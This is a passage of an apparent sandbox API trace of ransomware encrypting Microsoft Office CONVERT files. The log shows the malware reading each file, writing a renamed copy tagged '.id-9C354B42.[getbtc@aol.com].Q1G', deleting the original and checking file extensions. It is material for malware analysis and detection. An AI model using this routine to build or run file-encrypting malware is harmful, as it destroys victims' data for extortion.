nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x79a0, lpOverlapped=0x0) returned 1 [0259.306] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.306] WriteFile (in: hFile=0x20c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.306] SetEndOfFile (hFile=0x20c) returned 1 [0259.306] CloseHandle (hObject=0x20c) returned 1 [0259.306] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.306] SetEndOfFile (hFile=0x1f4) returned 1 [0259.313] CloseHandle (hObject=0x1f4) returned 1 [0259.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimdos.fae")) returned 1 [0259.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.314] lstrlenW (lpString=".doc") returned 4 [0259.314] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.314] lstrlenW (lpString=".docx") returned 5 [0259.314] lstrcmpiW (lpString1=".docx", lpString2="S.FAE") returned -1 [0259.314] lstrlenW (lpString=".pdf") returned 4 [0259.314] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.314] lstrlenW (lpString=".xls") returned 4 [0259.314] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.314] lstrlenW (lpString=".xlsx") returned 5 [0259.314] lstrcmpiW (lpString1=".xlsx", lpString2="S.FAE") returned -1 [0259.314] lstrlenW (lpString=".ppt") returned 4 [0259.314] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.314] lstrlenW (lpString=".zip") returned 4 [0259.314] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.314] lstrlenW (lpString=".rar") returned 4 [0259.314] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.314] lstrlenW (lpString=".bz2") returned 4 [0259.314] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.314] lstrlenW (lpString=".7z") returned 3 [0259.314] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.314] lstrlenW (lpString=".dbf") returned 4 [0259.314] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.314] lstrlenW (lpString=".1cd") returned 4 [0259.314] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.314] lstrlenW (lpString=".jpg") returned 4 [0259.314] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.315] lstrlenW (lpString=".doc") returned 4 [0259.315] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.315] lstrlenW (lpString=".docx") returned 5 [0259.315] lstrcmpiW (lpString1=".docx", lpString2="S.FAE") returned -1 [0259.315] lstrlenW (lpString=".pdf") returned 4 [0259.315] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.315] lstrlenW (lpString=".xls") returned 4 [0259.315] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.315] lstrlenW (lpString=".xlsx") returned 5 [0259.315] lstrcmpiW (lpString1=".xlsx", lpString2="S.FAE") returned -1 [0259.315] lstrlenW (lpString=".ppt") returned 4 [0259.315] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.315] lstrlenW (lpString=".zip") returned 4 [0259.315] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.315] lstrlenW (lpString=".rar") returned 4 [0259.315] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.315] lstrlenW (lpString=".bz2") returned 4 [0259.315] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.315] lstrlenW (lpString=".7z") returned 3 [0259.315] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.315] lstrlenW (lpString=".dbf") returned 4 [0259.315] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.315] lstrlenW (lpString=".1cd") returned 4 [0259.315] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMDOS.FAE") returned 63 [0259.315] lstrlenW (lpString=".jpg") returned 4 [0259.315] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.316] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.316] lstrlenW (lpString="DELIMWIN.FAE") returned 12 [0259.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0259.374] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=31136) returned 1 [0259.374] CloseHandle (hObject=0x390) returned 1 [0259.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) returned 0x20 [0259.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0259.424] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.424] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0259.444] GetLastError () returned 0x0 [0259.444] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x79a0, lpOverlapped=0x0) returned 1 [0259.526] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x79b0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x79b0, lpOverlapped=0x0) returned 1 [0259.527] ReadFile (in: hFile=0x3c8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.527] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.527] SetEndOfFile (hFile=0x3b0) returned 1 [0259.527] CloseHandle (hObject=0x3b0) returned 1 [0259.527] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.527] SetEndOfFile (hFile=0x3c8) returned 1 [0259.530] CloseHandle (hObject=0x3c8) returned 1 [0259.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\delimwin.fae")) returned 1 [0259.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.531] lstrlenW (lpString=".doc") returned 4 [0259.531] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.531] lstrlenW (lpString=".docx") returned 5 [0259.531] lstrcmpiW (lpString1=".docx", lpString2="N.FAE") returned -1 [0259.531] lstrlenW (lpString=".pdf") returned 4 [0259.531] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.531] lstrlenW (lpString=".xls") returned 4 [0259.531] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.531] lstrlenW (lpString=".xlsx") returned 5 [0259.531] lstrcmpiW (lpString1=".xlsx", lpString2="N.FAE") returned -1 [0259.531] lstrlenW (lpString=".ppt") returned 4 [0259.531] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.531] lstrlenW (lpString=".zip") returned 4 [0259.531] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.531] lstrlenW (lpString=".rar") returned 4 [0259.531] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.531] lstrlenW (lpString=".bz2") returned 4 [0259.531] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.531] lstrlenW (lpString=".7z") returned 3 [0259.531] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.531] lstrlenW (lpString=".dbf") returned 4 [0259.531] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.531] lstrlenW (lpString=".1cd") returned 4 [0259.531] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.531] lstrlenW (lpString=".jpg") returned 4 [0259.532] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.532] lstrlenW (lpString=".doc") returned 4 [0259.532] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.532] lstrlenW (lpString=".docx") returned 5 [0259.532] lstrcmpiW (lpString1=".docx", lpString2="N.FAE") returned -1 [0259.532] lstrlenW (lpString=".pdf") returned 4 [0259.532] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.532] lstrlenW (lpString=".xls") returned 4 [0259.532] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.532] lstrlenW (lpString=".xlsx") returned 5 [0259.532] lstrcmpiW (lpString1=".xlsx", lpString2="N.FAE") returned -1 [0259.532] lstrlenW (lpString=".ppt") returned 4 [0259.532] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.532] lstrlenW (lpString=".zip") returned 4 [0259.532] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.532] lstrlenW (lpString=".rar") returned 4 [0259.532] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.532] lstrlenW (lpString=".bz2") returned 4 [0259.532] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.532] lstrlenW (lpString=".7z") returned 3 [0259.532] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.532] lstrlenW (lpString=".dbf") returned 4 [0259.532] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.532] lstrlenW (lpString=".1cd") returned 4 [0259.532] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DELIMWIN.FAE") returned 63 [0259.532] lstrlenW (lpString=".jpg") returned 4 [0259.532] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.533] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.533] lstrlenW (lpString="OLMAIL.FAE") returned 10 [0259.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0259.579] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=63384) returned 1 [0259.579] CloseHandle (hObject=0x37c) returned 1 [0259.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 0x20 [0259.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.595] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.595] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0259.595] GetLastError () returned 0x0 [0259.595] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xf798, lpOverlapped=0x0) returned 1 [0259.599] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf7a0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf7a0, lpOverlapped=0x0) returned 1 [0259.601] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.601] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0259.601] SetEndOfFile (hFile=0x1f4) returned 1 [0259.601] CloseHandle (hObject=0x1f4) returned 1 [0259.601] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.601] SetEndOfFile (hFile=0x360) returned 1 [0259.604] CloseHandle (hObject=0x360) returned 1 [0259.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.604] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 1 [0259.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.605] lstrlenW (lpString=".doc") returned 4 [0259.605] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.605] lstrlenW (lpString=".docx") returned 5 [0259.605] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0259.605] lstrlenW (lpString=".pdf") returned 4 [0259.605] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.605] lstrlenW (lpString=".xls") returned 4 [0259.605] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.605] lstrlenW (lpString=".xlsx") returned 5 [0259.605] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0259.605] lstrlenW (lpString=".ppt") returned 4 [0259.605] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.605] lstrlenW (lpString=".zip") returned 4 [0259.605] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.605] lstrlenW (lpString=".rar") returned 4 [0259.605] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.605] lstrlenW (lpString=".bz2") returned 4 [0259.605] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.605] lstrlenW (lpString=".7z") returned 3 [0259.605] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.605] lstrlenW (lpString=".dbf") returned 4 [0259.605] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.605] lstrlenW (lpString=".1cd") returned 4 [0259.605] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.606] lstrlenW (lpString=".jpg") returned 4 [0259.606] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.606] lstrlenW (lpString=".doc") returned 4 [0259.606] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.606] lstrlenW (lpString=".docx") returned 5 [0259.606] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0259.606] lstrlenW (lpString=".pdf") returned 4 [0259.606] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.606] lstrlenW (lpString=".xls") returned 4 [0259.606] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.606] lstrlenW (lpString=".xlsx") returned 5 [0259.606] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0259.606] lstrlenW (lpString=".ppt") returned 4 [0259.606] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.606] lstrlenW (lpString=".zip") returned 4 [0259.606] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.606] lstrlenW (lpString=".rar") returned 4 [0259.606] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.606] lstrlenW (lpString=".bz2") returned 4 [0259.606] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.606] lstrlenW (lpString=".7z") returned 3 [0259.606] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.606] lstrlenW (lpString=".dbf") returned 4 [0259.606] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.606] lstrlenW (lpString=".1cd") returned 4 [0259.606] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0259.606] lstrlenW (lpString=".jpg") returned 4 [0259.606] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.607] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.607] lstrlenW (lpString="OLTASK.FAE") returned 10 [0259.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.607] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=115608) returned 1 [0259.607] CloseHandle (hObject=0x360) returned 1 [0259.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae")) returned 0x20 [0259.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0259.608] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.608] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0259.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLTASK.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oltask.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0259.608] GetLastError () returned 0x0 [0259.608] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x1c398, lpOverlapped=0x0) returned 1 [0259.612] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x1c3a0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x1c3a0, lpOverlapped=0x0) returned 1 [0259.615] ReadFile (in: hFile=0x360, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0259.615] WriteFile (in: hFile=0x1f4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0259.615] SetEndOfFile (hFile=0x1f4) returned 1 [0259.615] CloseHandle (hObject=0x1f4) returned 1 [0259.615] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 